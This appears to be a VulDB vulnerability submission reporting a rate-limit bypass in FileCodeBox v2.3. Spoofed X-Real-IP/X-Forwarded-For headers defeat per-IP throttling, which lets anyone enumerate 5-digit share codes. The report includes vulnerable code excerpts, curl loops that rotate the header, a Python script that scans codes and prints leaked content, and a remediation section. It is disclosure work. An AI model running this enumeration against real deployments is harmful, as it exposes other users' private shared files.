Submit #858222: vastsa FileCodeBox v2.3 Rate-limit bypassinfo

Titlevastsa FileCodeBox v2.3 Rate-limit bypass
DescriptionAnti-bruteforce rate limit bypassed via spoofed X-Real-IP / X-Forwarded-For header, enabling anonymous enumeration of all share codes and disclosure of other users' files and text ### Summary FileCodeBox protects its anonymous "retrieve by share code" endpoints with a per-IP rate limiter. The limiter decides who the client is by reading the client-supplied `X-Real-IP` and `X-Forwarded-For` request headers, with no trusted-proxy check. Any unauthenticated attacker can send a different value in that header on every request, so every request is counted as a brand new client and the limit never triggers. Because share codes default to a 5-digit number (90,000 possible values) and the retrieval endpoints require no authentication, removing the rate limit makes the entire code space enumerable in a short time. An unauthenticated attacker can iterate all codes and download every file and text that other users have shared. The same bypass also removes the upload rate limit. ### Details The rate limiter resolves the client identity from attacker-controlled headers: `apps/base/dependencies.py` ```python class IPRateLimit: def __call__(self, request: Request) -> str: ip = ( request.headers.get("X-Real-IP") or request.headers.get("X-Forwarded-For") or request.client.host ) if not self.check_ip(ip): raise HTTPException(status_code=423, detail="请求次数过多,请稍后再试") return ip ``` `X-Real-IP` and `X-Forwarded-For` are arbitrary request headers fully controlled by the caller. The application does not verify that the request actually arrived through a trusted reverse proxy, and does not fall back to the real transport peer (`request.client.host`) when those headers are present. The throttle state in `check_ip` / `add_ip` is keyed entirely on this spoofable value, so changing the header on each request creates a new, empty bucket every time. The throttle gates the anonymous retrieval endpoints in `apps/base/views.py`: ```python @share_api.post("/select/") async def select_file(data: SelectFileModel, ip: str = Depends(ip_limit["error"])): file_storage = storages[settings.file_storage]() has, file_code = await get_code_file_by_code(data.code) if not has: ip_limit["error"].add_ip(ip) # only failures are counted return APIResponse(code=404, detail=file_code) await update_file_usage(file_code) return APIResponse(detail=await build_select_detail(file_code, file_storage)) ``` These endpoints (`POST /share/select/`, `GET /share/select/`, `POST /share/metadata/`, `GET /share/metadata/`) have no authentication dependency. A correct share code returns the stored text inline, or a download URL for files. The only barrier against guessing codes is `ip_limit["error"]` (defaults: `errorCount=10`, `errorMinute=1`). The code space is small and is generated with a non-cryptographic PRNG: `apps/base/utils.py` ```python async def get_random_code(style: str = "num") -> str: while True: code = await get_random_num() if style == "num" else await get_random_string() if not await FileCodes.filter(code=code).exists(): return str(code) ``` `core/utils.py` ```python async def get_random_num(): return random.randint(10000, 99999) # 90,000 codes, stdlib random (not CSPRNG) ``` Most shares (day / hour / minute / count expiry) receive a 5-digit numeric code. With the rate limit defeated, all 90,000 values can be requested without throttling, so an attacker recovers every active share. `forever` shares use a 5-character `A-Z0-9` code (36^5), still enumerable and still unthrottled. The same limiter instance `ip_limit["upload"]` guards the upload endpoints, so the spoofing trick also removes upload throttling (unauthenticated guest upload is enabled by default via `openUpload=1`), allowing storage and resource abuse. ### PoC Prerequisites: a default FileCodeBox instance (defaults are sufficient; guest access is on by default). Below, `TARGET` is the server base URL. 1) A victim creates a normal anonymous text share and receives a short numeric code: ``` curl -s -X POST $TARGET/share/text/ \ -F 'text=VICTIM_SECRET_marker_8842' -F 'expire_value=1' -F 'expire_style=day' # {"code":200,...,"detail":{"code":"11241"}} ``` 2) Retrieval needs no credentials, only the code: ``` curl -s -X POST $TARGET/share/select/ -H 'Content-Type: application/json' \ -d '{"code":"11241"}' # {"code":200,...,"detail":{...,"content":"VICTIM_SECRET_marker_8842",...}} ``` 3) Control - 13 wrong guesses from the SAME source IP. The limiter blocks after 10: ``` for i in $(seq 1 13); do curl -s -o /dev/null -w '%{http_code} ' -X POST $TARGET/share/select/ \ -H 'Content-Type: application/json' -H 'X-Real-IP: x.x.x.x' -d '{"code":"00001"}' done # 200 200 200 200 200 200 200 200 200 200 423 423 423 ``` 4) Attack - 13 wrong guesses while ROTATING X-Real-IP. The limiter never blocks: ``` for i in $(seq 1 13); do curl -s -o /dev/null -w '%{http_code} ' -X POST $TARGET/share/select/ \ -H 'Content-Type: application/json' -H "X-Real-IP: 9.9.9.$i" -d '{"code":"00001"}' done # 200 200 200 200 200 200 200 200 200 200 200 200 200 ``` 5) Full attack - enumerate the code space with a rotating header and read other users' shares (recovers the victim text without ever knowing its code, with zero blocks): ```python import urllib.request, json TARGET = "http://127.0.0.1:12345" for n, code in enumerate(range(57300, 57400)): # scan any range / all 10000-99999 req = urllib.request.Request( f"{TARGET}/share/select/", data=json.dumps({"code": str(code)}).encode(), headers={"Content-Type": "application/json", "X-Real-IP": f"10.{(n>>16)&255}.{(n>>8)&255}.{n&255}"}, # spoofed, per-request method="POST") body = json.loads(urllib.request.urlopen(req).read()) if body.get("code") == 200: d = body["detail"] print("LEAK", code, repr(d.get("content") or d.get("text"))) # LEAK 57304 'VICTIM_SECRET_marker_8842' ``` ### Impact Unauthenticated, remote, low-complexity. An attacker who can reach the application defeats the per-IP throttle by varying the `X-Real-IP` (or `X-Forwarded-For`) header per request. Combined with the small, enumerable 5-digit share-code space and authentication-free retrieval, this allows enumeration of all active share codes and disclosure of every file and text other users have shared (confidentiality impact on all users' shared content). The same bypass disables upload throttling, enabling storage and resource abuse. Deployments that sit behind a reverse proxy are equally affected, because the values are accepted from any client rather than only from a configured trusted proxy. Suggested remediation: do not trust forwarding headers by default. Use `request.client.host` for the rate-limit identity, and only honor `X-Forwarded-For` / `X-Real-IP` when the request comes from an operator-configured list of trusted proxy addresses (taking the correct hop). Additionally increase the share-code length and generate codes with `secrets` rather than `random`.
Source⚠️ https://github.com/vastsa/FileCodeBox/issues/479
User
 geochen (UID 78995)
Submission06/14/2026 16:00 (1 month ago)
Moderation07/18/2026 14:22 (1 month later)
StatusDuplicate
VulDB entry333024 [FileCodeBox up to 2.2 Header X-Real-IP/X-Forwarded-For excessive authentication]
Points0

Want to know what is going to be exploited?

We predict KEV entries!